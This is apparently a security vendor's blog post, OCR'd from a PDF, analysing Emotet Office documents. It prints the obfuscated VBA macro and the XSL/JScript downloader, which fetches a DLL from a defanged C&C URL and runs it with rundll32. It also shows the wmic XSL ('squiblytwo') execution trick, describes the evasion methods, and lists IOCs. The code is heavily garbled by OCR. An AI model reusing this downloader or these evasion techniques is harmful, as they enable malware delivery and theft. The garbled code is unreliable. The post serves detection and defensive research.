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Summary

Emotet has become one of the world’s most advanced botnets. Like many malware campaigns,
Emotet’s primary mode of delivery is phishing emails that download malicious Microsoft Office
documents. Furthermore, these documents are often hosted in popular cloud apps like Office 365 and
Amazon S3 to increase the chances of a successful lure.

At Netskope, we apply a hybrid approach to malicious Office document detection that leverages a
combination of heuristics and supervised machine learning to identify malicious code embedded in
documents. In August — September of 2020, we identified Emotet samples that use advanced
techniques like (1) constructing a PowerShell script at runtime, (2) constructing WMI namespaces at
runtime, and (3) VBA logic obfuscation to evade static and signature-based detections.

On December 9, 2020, Netskope’s Advanced Threat platform detected downloads of multiple novel
Emotet samples. These were distributed as Office documents and included additional techniques
being used to evade signature-based threat detection. These techniques consisted of an Embedded
XSL script and a Squiblytwo Attack. This blog post describes these attack techniques and lists the
IOCs associated with the samples.

Analysis
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Emotet Office document samples are typically Microsoft Excel spreadsheets or Microsoft Word
documents that abuse trusted windows utilities like WMI (Windows Management Instrumentation) to
connect to their C&C servers and download their next stage payloads, which have included TrickBot,
QBot, and Ryuk. In this section, we explain how two new Emotet samples we discovered in
December 2020 (IOCs provided at the end of this document) use new attack techniques to further
evade detection. We will use the code extracted from the sample
b9cOade410b564f79bd95febaac9f3f4 throughout this post.

The techniques used in these samples include:

e Embedded XSL script,
e Squiblytwo Attack

Embedded XSL Script

Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and
rendering of data within XML files. The new Emotet samples embedded malicious XSL scripts inside

the VBA text control property. VBA control properties are not usually scanned by AVs as this particular
VBA stream (“O” stream) does not contain any VBA code. However, these samples store the scripts in

control properties before downloading and executing them, as we discuss in the next section. The
following screenshot shows the VBA project of one sample. The XSL string can be seen inside the
control brraQwkmlhxwEUuD (Textbox) text property.
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In the following screenshots, the VBA code extracts the XSL string and saves it to a local file.
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| (General) j | MW7007lcm7S j

Function MW700Tlcm75 ()

Dim JocodfTUQz0sCU As S5tring

YUsE4mRzdiehKcEoprkoOUS = ggOOCE TeuC9R H374Zr gn5Tn & ES45PRY6eiZvFB9il & SupCIZekUYoGkkGhR5n4wt & Fg4g35I3ggplé
Open YUsE4mRzdiehKcEoprkoOUS For Binary Ls #CLng( (347 - 346))

With GetObject (M®hKUgW_SlpmT_ 12HQul.MwOtdDSrIIrfYanxWi)

SX9Shp S50ABt_3Beje_DnboZg = g97QDvaVCnTwumQHo

EGZNGehbHQIvE = QOYOTvSEImOutRtilculmSRJg

Create KhliTtZAGmYi4SWHVYRTHZ . HE8EfIVIxO9glebSunmNe]j, Null, J4aNjfruH3vefzSBASTFcA(gzaVt05_WnSxM dyoS0.RExT7T7USmsgzro
RTk8LE oGtWI = CLng( (Not -3€0)) > CLng(({1372 - 982))

LN

I}
[l
=)
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w

| Project.Fg4g35I3qgp 18wIfT. MW 700 cm 75

Expression | Walue | Type

Me Fo4g3Si3gop1 BwIfUT/Fo4035Rqop1 Bwlifl
MWT007lcmiS Empty Variant/Empty
MWT007lcmiS Empty Variant/Empty
JooAalQzisCy “ePxml version="1.0'7= <stylesheet xmins="http:/fwww.w3.orgM989XSLTransfoerm” » String
ggl0CT_TeuCBA_H3IT4Zr_gn5STn Empty ‘ariant/Empty
SupClZekUyoGkkGhREn4wt Empty ‘ariant/Empty
(General) | |mwroo7iem?s -

Function MWTOOT7lcm75 ()

Dim JooRARUQz0sCU As String

*

YUsE4mRzdiehKcEoprkoOUS = ggOOCE TeuCSR H374Zr gnSTn & ES4595PRY6ei2vFB9il & SupCIZekUYoGkkGhR5n4wt & Fg4g35I3gopls
Open YUsE4mRzdiehKcEoprkoOUS For Binary As #CLng( (347 - 346))

With GetObject (MOhKUgW SlpmT 12HQul.MwOtdDErIIrfYanxWi)

SX95hp SOABt 3Beje Dnbo2g = g97Q0DvaVCnTwumQHo

EG2NGehbHQIvk = QOQYOTv98ImOutRtilculm8RJ

.Create khliTtZAGmYi4SWHVYxTHZ.HEfIVIxSqlibSunNE]j, Null, J4aNjfruH3vefzSSASTFcA (gzaVtO5_WnSxM dyo50.RA8xT7TUSmsgzro
RTkELR_oGLWT = CLng( (Mot -360)) > CLng( (1372 - 982))

i

i

Local

Project.Fg4g3513qgp 18wfUT. MW 700 Acm 75

Expression | Value | Type
YMuv1Cs_0D0gcs Empty Variant/Empty
GPAWSHW1 pMgw Empty Variant/Empty
YUsE4mRzdiehKcEoprkoOUS “CAUsers\me\AppData\Roamin g\F464. X5 Variant/String
ge7TQDyvavCnTwumQHo Empty Variant/Empty
SX9Shp_50ABt_3Beje_Dnbo2g Empty Variant/Empty
QY 0TvBIm0utRtidculmaR) Empty Variant/Empty

The ")_(SL_écript contains JScript code which uses the MSXML.HTTP COM object to connect to a live
C&C server as well as the ADODB.STREAM COM object to download a malicious dIl payload to local
disk. Then, rundll32.exe’s DIIRegisterServer() function is invoked on the downloaded dll, which is
primarily a banking trojan that steals sensitive information and carries out further infection. Similar to
previously seen non-XSL samples, recognizable keywords like ADODB.STREAM, SHELL and
MSXML2.XMLHTTP.60 are reversed to avoid static detection. These relevant sections of the XSL
script can be seen highlighted in red below.
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<?xml version='1.0'?>

<stylesheet

xmlns="http://www.w3.0rg/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"

version="1.0">

<ms:script implements-prefix="user" language="JScript">

var YYy5U9_3ubzx_jzmwY_kqiaK =

["m", "a", "e", "r", "t", "s", ", ", "d", "o", "d", "a" ] .reverse().join("");
HlpyKm_lepSOa_w07pV(5070)

function dxdNHc_ahxqF(MTdLBC8tVBdkKSLPkhx)

{return new ActiveXObject(MTdLBC8tVBdkKSLPkhx)};

11>

</ms:script>

<ms:script implements-prefix="user" language="JScript">

<! [CDATA[

var c¢31fCXrGOn9yFYU6GNOd7nJG =
[['hxxps://gpu.utepils.es/v2/1ib/ErrorHandler/public/EWbJwE6eMn[.]php', 'DllRegisterServer'],
e ]

var OpD5THUm4wmla = ["1",6 "1",6"e","h","s"].reverse().join("");

11>

</ms:script>

<ms:script implements-prefix="user" language="JScript">

<! [CDATA[

var VQJYuHiIaJJ9kK1lk3 =

["e", ™., "e", ., pt, e, e, "h, L, tmt, e, o, 2, L, "mt, ", s, "m" ] . reverse() . join("");
function H80Ku2_2Yjex_3CCppL_aNzqbY()

{return Math.random().toString(36).substr(2, 5);};

11>

<1 [CDATA[

var UvmJeOaEQ@Iyvn8twpitsksb = ¢31fCXrGOn9yFYU6NOd7nJG.length;

for (var i1 = 0; 1 < UVmJeOaEOIyvn8twpitsksb; i++)

try{

var hK3nwLU_tiw2a_PUo0Bd = dxdNHc_ahxgF(VQJYuHiIaJJ9kK1k3);

var s8kAzF8scysPCEOLx88HvSe = dxdNHc_ahxqF(YYy5U9_3ubzx_jzmwY_kgiaK);
hK3nwLU_tiw2a_PUoOBd.open(jgDZyVP_00dx6, c31fCXrGOn9yFYUBNOd7nJIG[1][0], O);
hK3nwLU_tiw2a_PUo0Bd.send();

if (Number (ySGW1FT_qYfuwy_B4wPXN(hK3nwLU_tiw2a_PUo0Bd))== 100+100 &&
Number (RazkK7XzpuMRcXCxayyHMQp (hK3nwLU_tiW2a_PUoGBd)) == 0+1+2+1){
0jJyq8VVHCKCL5QSHL344E(s8kAzF8scysPCEOLx88HvSe);
s8kAzF8scysPCEOLx88HvSe.type = 1;
s8kAzF8scysPCEOLXx88HvSe.write(hK3nwLU_tiW2a_PUoGBd.responsebody);

var PEA8abizLVE = hK3nwLU_tiW2a_PUoGBd.getResponseHeader ("X-User-Agent")
s8kAzF8scysPCEOLx88HvSe.position = 0;

var akwmHjYm5cx9J = H80Ku2_2Yjex_3CCppL_aNzgbY().concat(["1","1","d","."].reverse().join(""));
var C36KvCHab5zNzssN8tubsD = "C:/Windows/Temp/".concat("/".concat(akwmHjYm5cx9J))
s8kAzF8scysPCEOLx88HvSe [ZnBpmZOCoKmC(4) ] (C36KvCHab5zNzssN8tubsD , 2);
s8kAzF8scysPCEOLx88HvSe.close();

Nn8s51EFEYXksTagMOtAEOHt ("rund1132 ".concat(C36KvCHab5zNzssN8tubsD.concat ("
".concat (c31fCXrGON9yFYUENOd7nIG[i][1]))))

break;}}
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catch(err){}
11></ms:script>
</stylesheet>

Squiblytwo Attack

The XSL script is executed using the WMI Command Line Utility (wmic.exe). MITRE refers to this
technique of executing XSL as a squiblytwo attack. In addition to this approach, the following are done
in order to avoid static detection:

e The path to WMI is specified as a moniker string (“winmgmts:root\cimv2:Win32_Process”) that is
constructed at runtime,
e The arguments to WMI are not passed during process creation but after creation using the
PostMessageA() API

The following VBA macro code references an instance of WMI using GetObject() API by passing a
moniker string.

With GetObject(M9hKUgW_S1pmT_12HQul.MwOtdD8rIIrfYanxwj)

The following figure shows the function implementation that constructs the moniker string.

I:Generau j |Mwomnar||rr'ranxw1 I
Function MwOtdDErITrf¥anxWi ()
MwCOtdDErIIrfYanxW) = Chr (CLng( (Asc("w")))) + ChrW(CLng|( (wdPaneRevisionsHoriz - (-0.934782608695652 * wdFieldBidi(
+ Chr (CLng ( (Asc(™n"})})}) _
4+ Chr (CLng((((-1.81519763965689E-03 * —305) * 1678) + -820))) + Chr(CLng( (wdForgetlLastTabAlignment Xor (-0.1580:
+ ChrW(CLng ( (wdArtCirclesLines Xor wdNoteNumberStyleThailArabic))) _
+ ChrW(CLng| (Mot -117))) + ChrW(CLng|( (wdhrtDoubleDiamonds hnd (601 + (wdFieldUserAddress + —-548%))))) + ChrW(CLr
+ Chr(CLng(((-223 + 169%#) + (905 + -746#)))) + ChrW(CLng(((8.640552995391T1E-02 * (907 - 3%#)) + wdSpain))) + Ci
+ Chr(CLng( (Not -111))) _
+ Chr (CLng( (wdStartOfRangeColumnfumber Xor (-143 - -178#)))) _
+ Chr (CLng( (Asc (wdTightFirsthndLastLines)))) + ChrW(CLng( (RscW("_")))) _
+ ChrW(CLng(((1.23434884241223E-04 * 767) * 845))) + ChrW(CLng(((1313 + -T733%) - (0.3657770800627%4 * 1274)))) A
o»| End Function
Function syv93XuSITI3WUEIWMENTHNMVO () &As String
il SR B
Locals

Project. MShKUgW _SlpmT _|2HQu1.MwOtdDErIIrfYanxj

Expression | Walue | Typs
e M3hKUgW_SlpmT_R2HQu1/M3hKUgW_5
v OtdDErlir Yy anxiivj Empty “ariantEmpty

W OtdDBrlir Py anxWj "winmgmts:rooticimy2:Win32_Process" Wariant/String

The malicious process is created using the Create() method of WMI's Win32_Process class, as shown
below. This creation method leaves a minimal identifiable footprint since WMI is now not reported to
be a child process of WINWORD.exe but a child of WMIPrvSe.exe (DCOM process).

.Create kh1iTtZAGmYi45WHVYXTHZ.H8fIVJIXx9q18b9umN8j, Null,
J4aNjfruH3vefzS8A97FcA(gzaVt0S_Wn5xM_dyo50.A8x77U8msgzro(0OniP6T1UUZe))

The first argument to Create is “wmIC” which is constructed at runtime as shown below.
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IlGeneral) | |Hsnwx9q13b9umusj -

Function HEfIVJIx9glEbiumMNE]j ()
HEFfIVIx9gl8bSumNE]j = Join (Array (Chr (CLng( (Asc("w")) )} + Chr(CLng|( (wdCaptionNumberStyleHebrewletterl Xor (wdStyleT:
=43 Find Function

K I |

i

Local

Project. kh ITtZAGmYi45WHVY xTHZ H&fTV 1x9g 18b9umNa;

Expression | Value | Type
kh1iTtZAGm Y i45WHVYxTHZ kh1TtZAGm Y i45WHV Y xTHZkh 1iTtZAGT
HE8VJx%g18bSumNaj “wmiC" Variant/String

WMII is passed the following arguments to execute the XSL script.

"Os geT /FOrMat:"C:\Users\pathto\F464.XS1"

The runtime construction of command line arguments to WMI is shown below.

||Generau | |m'moncm?s |

.Create khliTtZAGMYi4SWHVYRTHZ.HSFIVIxSglsbounNej, Null, J4aNjfruH3vefzSSASTFcA(gzaVtOS WnSxzM dyoS0.ASx77USmsgzro (OniPET
RTKELR oBtWT = CLng((Not -380}) > CLag((1372 - 982)) g

Pmi96QPim2F30PHQTTN4ckTe = Join (Array())

End With

PSnCs0U_dkaa?_2VinOk hlosZ = rNE5ft_ovkHV EvEsQ_PEC3iN.WOOUcCVXENIACKPRDS (cNPnbf yiMcQ4) + ZRnvXZt VDIOWN_weTAO NER12g +
Put #CLng((328 - 327)), , JooRAUQz0sCU

Close ¥CLng(((wdStyleIndex3 - 0#) - (-96% — —955%)))

5 | o

| Project.Fg4g35I3qgp 18wIfUT. MW 700 Acm 75

Expression | Value | Type
PmigSQPim2F30PHAOTTNACKTC - Wariant/String
cNPnbf_yJMcQ4 Empty Wariant/Empty
ZRnvXZt_ VDIDwN_weTAD_NSR12g Empty Variant/Empty
NLwCCznwasNgdhSgX Empty WariantEmpty

Empty “ariantEmpty

PShCs0U_dkaa k_| "O= geT /FOrMat:"C:\Users\me\AppData\Roamin g\F 46 Wariant/String
Jdeds7_ZVwZpF_SNMhyS Empty Wariant/Empty ]
MXSY 1dkLEWHT Empty “ariant/Empty
XNawvtj7_Zder1_GkUyH_EvbUL Empty WariantEmpty
UPQvRajul38yZGeodAWETR Empty WariantEmpty
WAAKTE_SziZy0_weZbWVR Empty “ariantEmpty
kMOpPd_4rlS1 Empty Wariant/Empty

However, these arguments are not passed during the creation of WMI but instead sent through

Windows API PostMessageA() call. The VBA macro searches the wmic console via
FindwindowExA() using “consolewindowclass” as an argument before sending the parameters.

After this, the arguments are sent to the wmic console using PostMessageA() method call.

The Windows API declaration for PostMessageA and FindwWindowExA can be seen below.
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#If VBA7 Then

Private Declare PtrSafe Function HvOQfxN_12HILY w7zI8 AIFOmt Lib "user32.dll" Alias
"PostMessageA" (Byval RmpZFf_ZcsSk_IJUpn_LHlmgV As Long, ByVal MJ4mlN2_ZzJ7vo_JzQVyK As Long,
ByVal Xm5RAg810Vjamcd338M As Long, ByVal UGp3RLONXDv34P1nl As Long) As Long

Private Declare PtrSafe Function Y2WPW1IOQfE9mRdbGpOevODYzd Lib "user32.dl1l" Alias
"FindwWindowEXA" (ByVal bckpaUG_L668n_T9F3aa As Long, ByVal mJP6JIRV8ur As Long, ByVval
Xud4wNi_sHSR9_KelLq7_qEAMZ As String, ByVal nRDEuAaQ®q7iBEcMTo As String) As Long

#Else

Private Declare Function HvOQfxN_12HILY_ w7zI8_ AIFOmt Lib "user32.dll" Alias "PostMessageA"
(ByVal RmpzZFf_ZcsSk_IJUpn_LHlmgV As Long, ByVal MJ4mlN2_ZJ7vo_JzQVyK As Long, ByVval
Xm5RAg810Vjamcd338M As Long, ByVal UOp3RLONXDv34P1nl As Long) As Long

Private Declare Function Y2WPW1IOfE9mRdbGpOevODYzd Lib "user32.dll" Alias "FindWindowExA"
(Byval bckpaUG_L668n_T9F3aa As Long, Byval mJP6JIRV8ur As Long, ByVal Xu4wNi_sHSR9_Kelq7_qEAMZ
As String, ByVal nRDEuAaQ@q7iBEcMTo As String) As Long

#End If

In the following image, we can see the invocation of PostMessageA() with the arguments to execute
the XSL script.

|:Genera|: j IMW?UO?Icm'!S j

Close #CLng( ((wdStyleIndex3 - 0#) - (-96% - -955%))) it
For Jdeds7_ZVwIpF_ SHMhyS = CLng((wdFieldShadinghlways Or wdShowSourceDocumentsNone)) To CLng( (0.995173857425282 * ((1552°
XNavtj7_2derl GkUyH EvbUL = Join(Array ("S3MnPef 9SgSxHh APEBd_jKxJQ ys3wdJSYZsdpLVEZSZ4"™, "krNrGKFQBCy ZWFjwSJUCWM"™ & MiXE
YRRAKTE 5ziZy0 velbVR = Y2WPW1IOLESmRdbGpOevODYzd (CLng ( (wdTypeDocument And wdEncloseStyleSmall)), CLng((xlLabkelPositionBe
EMOpPd 4rJS5l = "ZI¥YmAGZg]jZFMSWSHQIG6K"

Mert Jdcds7_ZVwipE SNHMhys

£5I2iY wRPg4 = Array("LZIihJe6kieOe", yJhRVhABFhMLOKbLyE)

For HCuiQb_wdl234 KG5xcT = CLng((-1.45772594752187E-03 * (0.63932898415657 * -1073))) To Len(P5hCs0U_dkaa2 2Vimlk hlosZ)
TnZGEE_QMYiu NOgbb = LAC1RYRACVGrZcSdJSGphOypC

| HvOgfxN 1ZHILY w7zI8 AIFOmt YAAKTE 5ziZyC veZbVR, UtdwWaSl71j785tZPt, Asc(Left$ (Mid$ (PShCs0U_dkaa2 2VimOk hlosZ, HCuiQb_
WWkZgStFelZmTX=aP2 = CLng((2.65625 * (wdFieldFormCheckBox + 185%#))) > CLng|((wdFormat¥MLDocument Xor &84))

JaSKzl w4TMgg = Array()

Next HCuiQb ydl1234 KGSxcT

n

0
f
I (W |;I

Local

I Project.Fg4g3SI3qgp 18wHfUT.MW700Acm 75

Expression | Value | Type
ZRnvXZt WDI0wN_weTAD_NER12g Empty Variant/Empty
NLwCCznwasNgdhSgx Empty VariantEmpty

QPTUIM_SuEBT_rtLYDL_mkPiL Empty VariantEmpty
PShC=0U_dkaa2_2Vim0k_hlosZ "O= geT /[FOrMat:"C:\Users\me\4ppData\Roaming\F 464 X5 Variant/String

Jdcds7_ZWwZpF_SNMhyS 154036 Variant'Long

RERVESA AL TR Crmrbs LS —,

Netskope Detection

Netskope Advanced Threat Protection provides proactive coverage against zero-day samples of
Emotet and other malicious Office documents using both our ML and heuristic-based static analysis
engines as well as our cloud sandbox. The following screenshot shows the detection for

b9c®ade410b564f79bd95febaac9f3f4 , indicating it was detected by both Netskope AV and the
Netskope Advanced Heuristic Engine. The indicators section shows the reasons it was detected as
malicious: the sample auto executes the macro code described in this blog post, writes files to the
system, as well as executes system APlIs.
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Summary

MD5: b9cOade410b564f79bd95febaac?f3f4

SHAZ56: 79be3061f85e38d5cf3bd43ccB4d9970945d83dbe8b2c0add4c... 1 @
Threat Analysis Results

Detected by Engines: @ Netskope AV & Netskope Advanced Heuristic Analysis

© Netskope Advanced Heuristic Analysis

File Details Indicators

autostart (1)
execution (1)
May Execute System executables and/or dll API

file (1)
Network References May Write to files in the system

monitor (1)
Macro code may Enumerate system Environment

Conclusion

In addition to the techniques covered in our previous blog_posts, the Emotet samples above use two
new advanced techniques to evade signature-based detection. Netskope Advanced Threat Protection
includes a custom Microsoft Office file analyzer and a sandbox to detect campaigns like Emotet that
are in active development and are spreading using new Office documents. We will continue to provide
updates on this threat as it evolves.

I0Cs

Sample 1: b9c0ade410b564f79bd95febaac9f3f4

Dropped executable file (DLL name is randomly generated)
C:/Windows/Temp//m3zt1.dll

DNS requests

domain gpu.utepils|.]es

domain hub.2mind.com][.]br

domain swarajcollegeofeducation[.Jcom

domain buy.manairge[.Jcom
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domain sniezka-6.test.etriton[.]pl
domain www.alfenory[.]net
Connections

ip 23.55.163[.]71

ip 91.121.76[.]43

ip 103.235.106][.]140

ip 178.254.36[.]172

ip 23.55.163[.]68

ip 167.172.218[.]142

ip 185.41.131[.]131

ip 47.244.28|.]71

HTTP requests

url hxxp://sniezka-6.test.etriton[.]pl/wp-includes/js/jquery/ui/Cs3xTXhrij[.]Jphp

url

hxxp://www.alfenory[.]Jnet/alfenory_erp.de/frontaccounting/purchasing/allocations/REbrGXIrn5Ewu5[.]Jphp

Sample 2: 58b416ddb58188c5d726e25b62bd4162

Dropped executable file (DLL name is random generated)

C:/Windows/Temp//j3vg1.dll

DNS requests

domain babor-kosmetik-steglitz[.]Jde

domain sniezka-6.test.etriton[.]pl
domain hub.2mind.com[.]br

domain gpu.utepils[.]es

domain swarajcollegeofeducation[.Jcom

domain www.alfenory][.]net
domain dna.1key[.]win

Connections
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ip 185.41.131[.]131

ip 91.121.76[.]143

ip 2.16.107[.180

ip 178.254.36[.]172

ip 103.235.106[.]140

ip 167.172.218[.]142

ip 2.16.107[.]1114

ip 222.232.172[.]143

HTTP requests

url hxxp://sniezka-6.test.etriton[.]pl/wp-includes/js/jquery/ui/Cs3xTXhrij[.]php

url
hxxp://lwww.alfenory[.]net/alfenory_erp.de/frontaccounting/purchasing/allocations/tLWENYfjYFd[.]Jphp

url hxxp://swarajcollegeofeducation[.Jcom/a4content/a4progallery/nt5asQtUwL[.]php

url hxxp://dna.1key[.]Jwin/mysqgl/locale/pt_ BR/LC_MESSAGES/ieBUxi2PXfapVpE[.]Jphp

Thank you to Zhi Xu and Benjamin Chang for helping analyze the sample files and contributing to this
blog.
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